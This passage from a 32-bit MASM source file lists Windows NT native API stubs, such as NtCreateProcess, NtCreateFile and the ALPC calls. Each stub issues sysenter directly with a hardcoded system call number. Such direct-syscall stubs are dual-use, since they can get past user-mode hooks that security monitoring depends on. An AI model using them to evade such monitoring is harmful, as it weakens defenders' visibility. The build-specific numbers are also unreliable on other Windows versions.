NtCreateResourceManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 354
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateResourceManager ENDP
; ULONG __stdcall NtCreateProfileEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtCreateProfileEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 355
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateProfileEx ENDP
; ULONG __stdcall NtCreateProfile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtCreateProfile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 356
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateProfile ENDP
; ULONG __stdcall NtCreateProcessEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtCreateProcessEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 357
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateProcessEx ENDP
; ULONG __stdcall NtCreateProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtCreateProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 358
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateProcess ENDP
; ULONG __stdcall NtCreatePrivateNamespace( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreatePrivateNamespace PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 359
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreatePrivateNamespace ENDP
; ULONG __stdcall NtCreatePort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtCreatePort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 360
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreatePort ENDP
; ULONG __stdcall NtCreatePagingFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreatePagingFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 361
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreatePagingFile ENDP
; ULONG __stdcall NtCreateNamedPipeFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 );
NtCreateNamedPipeFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD
mov eax , 362
call _label_sysenter
ret 56
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateNamedPipeFile ENDP
; ULONG __stdcall NtCreateMutant( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreateMutant PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 363
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateMutant ENDP
; ULONG __stdcall NtCreateMailslotFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtCreateMailslotFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 364
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateMailslotFile ENDP
; ULONG __stdcall NtCreateKeyTransacted( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtCreateKeyTransacted PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 365
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateKeyTransacted ENDP
; ULONG __stdcall NtCreateKeyedEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreateKeyedEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 366
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateKeyedEvent ENDP
; ULONG __stdcall NtCreateKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtCreateKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 367
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateKey ENDP
; ULONG __stdcall NtCreateJobSet( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCreateJobSet PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 368
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateJobSet ENDP
; ULONG __stdcall NtCreateJobObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCreateJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 369
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateJobObject ENDP
; ULONG __stdcall NtCreateIRTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCreateIRTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 370
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateIRTimer ENDP
; ULONG __stdcall NtCreateTimer2( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtCreateTimer2 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 371
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateTimer2 ENDP
; ULONG __stdcall NtCreateIoCompletion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreateIoCompletion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 372
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateIoCompletion ENDP
; ULONG __stdcall NtCreateFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
NtCreateFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 373
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateFile ENDP
; ULONG __stdcall NtCreateEventPair( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCreateEventPair PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 374
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateEventPair ENDP
; ULONG __stdcall NtCreateEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtCreateEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 375
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateEvent ENDP
; ULONG __stdcall NtCreateEnlistment( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtCreateEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 376
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateEnlistment ENDP
; ULONG __stdcall NtCreateEnclave( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtCreateEnclave PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 377
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateEnclave ENDP
; ULONG __stdcall NtCreateDirectoryObjectEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtCreateDirectoryObjectEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 378
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateDirectoryObjectEx ENDP
; ULONG __stdcall NtCreateDirectoryObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCreateDirectoryObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 379
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateDirectoryObject ENDP
; ULONG __stdcall NtCreateDebugObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreateDebugObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 380
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateDebugObject ENDP
; ULONG __stdcall NtConvertBetweenAuxiliaryCounterAndPerformanceCounter( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtConvertBetweenAuxiliaryCounterAndPerformanceCounter PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 381
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtConvertBetweenAuxiliaryCounterAndPerformanceCounter ENDP
; ULONG __stdcall NtContinue( ULONG arg_01 , ULONG arg_02 );
NtContinue PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 382
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtContinue ENDP
; ULONG __stdcall NtConnectPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtConnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 383
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtConnectPort ENDP
; ULONG __stdcall NtCompressKey( ULONG arg_01 );
NtCompressKey PROC STDCALL arg_01:DWORD
mov eax , 384
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCompressKey ENDP
; ULONG __stdcall NtCompleteConnectPort( ULONG arg_01 );
NtCompleteConnectPort PROC STDCALL arg_01:DWORD
mov eax , 385
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCompleteConnectPort ENDP
; ULONG __stdcall NtCompareTokens( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCompareTokens PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 386
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCompareTokens ENDP
; ULONG __stdcall NtCompareSigningLevels( ULONG arg_01 , ULONG arg_02 );
NtCompareSigningLevels PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 387
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCompareSigningLevels ENDP
; ULONG __stdcall NtCompareObjects( ULONG arg_01 , ULONG arg_02 );
NtCompareObjects PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 388
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCompareObjects ENDP
; ULONG __stdcall NtCompactKeys( ULONG arg_01 , ULONG arg_02 );
NtCompactKeys PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 389
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCompactKeys ENDP
; ULONG __stdcall NtCommitTransaction( ULONG arg_01 , ULONG arg_02 );
NtCommitTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 390
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCommitTransaction ENDP
; ULONG __stdcall NtCommitEnlistment( ULONG arg_01 , ULONG arg_02 );
NtCommitEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 391
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCommitEnlistment ENDP
; ULONG __stdcall NtCommitComplete( ULONG arg_01 , ULONG arg_02 );
NtCommitComplete PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 392
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCommitComplete ENDP
; ULONG __stdcall NtCloseObjectAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCloseObjectAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 393
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCloseObjectAuditAlarm ENDP
; ULONG __stdcall NtClose( ULONG arg_01 );
NtClose PROC STDCALL arg_01:DWORD
mov eax , 394
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtClose ENDP
; ULONG __stdcall NtClearEvent( ULONG arg_01 );
NtClearEvent PROC STDCALL arg_01:DWORD
mov eax , 395
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtClearEvent ENDP
; ULONG __stdcall NtCancelWaitCompletionPacket( ULONG arg_01 , ULONG arg_02 );
NtCancelWaitCompletionPacket PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 396
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCancelWaitCompletionPacket ENDP
; ULONG __stdcall NtCancelTimer( ULONG arg_01 , ULONG arg_02 );
NtCancelTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 397
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCancelTimer ENDP
; ULONG __stdcall NtCancelSynchronousIoFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCancelSynchronousIoFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 398
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCancelSynchronousIoFile ENDP
; ULONG __stdcall NtCancelIoFileEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCancelIoFileEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 399
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCancelIoFileEx ENDP
; ULONG __stdcall NtCancelIoFile( ULONG arg_01 , ULONG arg_02 );
NtCancelIoFile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 400
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCancelIoFile ENDP
; ULONG __stdcall NtCallbackReturn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCallbackReturn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 401
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCallbackReturn ENDP
; ULONG __stdcall NtAssociateWaitCompletionPacket( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtAssociateWaitCompletionPacket PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 402
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAssociateWaitCompletionPacket ENDP
; ULONG __stdcall NtAssignProcessToJobObject( ULONG arg_01 , ULONG arg_02 );
NtAssignProcessToJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 403
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAssignProcessToJobObject ENDP
; ULONG __stdcall NtAreMappedFilesTheSame( ULONG arg_01 , ULONG arg_02 );
NtAreMappedFilesTheSame PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 404
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAreMappedFilesTheSame ENDP
; ULONG __stdcall NtApphelpCacheControl( ULONG arg_01 , ULONG arg_02 );
NtApphelpCacheControl PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 405
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtApphelpCacheControl ENDP
; ULONG __stdcall NtAlpcSetInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtAlpcSetInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 406
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcSetInformation ENDP
; ULONG __stdcall NtAlpcSendWaitReceivePort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtAlpcSendWaitReceivePort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 407
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcSendWaitReceivePort ENDP
; ULONG __stdcall NtAlpcRevokeSecurityContext( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcRevokeSecurityContext PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 408
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcRevokeSecurityContext ENDP
; ULONG __stdcall NtAlpcQueryInformationMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtAlpcQueryInformationMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 409
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcQueryInformationMessage ENDP
; ULONG __stdcall NtAlpcQueryInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtAlpcQueryInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 410
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcQueryInformation ENDP
; ULONG __stdcall NtAlpcOpenSenderThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtAlpcOpenSenderThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 411
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcOpenSenderThread ENDP
; ULONG __stdcall NtAlpcOpenSenderProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtAlpcOpenSenderProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 412
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcOpenSenderProcess ENDP
; ULONG __stdcall NtAlpcImpersonateClientOfPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcImpersonateClientOfPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 413
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcImpersonateClientOfPort ENDP
; ULONG __stdcall NtAlpcImpersonateClientContainerOfPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcImpersonateClientContainerOfPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 414
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcImpersonateClientContainerOfPort ENDP
; ULONG __stdcall NtAlpcDisconnectPort( ULONG arg_01 , ULONG arg_02 );
NtAlpcDisconnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 415
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcDisconnectPort ENDP
; ULONG __stdcall NtAlpcDeleteSecurityContext( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcDeleteSecurityContext PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 416
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcDeleteSecurityContext ENDP
; ULONG __stdcall NtAlpcDeleteSectionView( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcDeleteSectionView PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 417
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcDeleteSectionView ENDP
; ULONG __stdcall NtAlpcDeleteResourceReserve( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcDeleteResourceReserve PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 418
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcDeleteResourceReserve ENDP
; ULONG __stdcall NtAlpcDeletePortSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcDeletePortSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 419
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcDeletePortSection ENDP
; ULONG __stdcall NtAlpcCreateSecurityContext( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcCreateSecurityContext PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 420
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcCreateSecurityContext ENDP
; ULONG __stdcall NtAlpcCreateSectionView( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcCreateSectionView PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 421
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcCreateSectionView ENDP
; ULONG __stdcall NtAlpcCreateResourceReserve( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtAlpcCreateResourceReserve PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 422
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcCreateResourceReserve ENDP
; ULONG __stdcall NtAlpcCreatePortSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtAlpcCreatePortSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 423
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcCreatePortSection ENDP
; ULONG __stdcall NtAlpcCreatePort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcCreatePort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 424
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcCreatePort ENDP
; ULONG __stdcall NtAlpcConnectPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
NtAlpcConnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 425
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcConnectPort ENDP
; ULONG __stdcall NtAlpcConnectPortEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
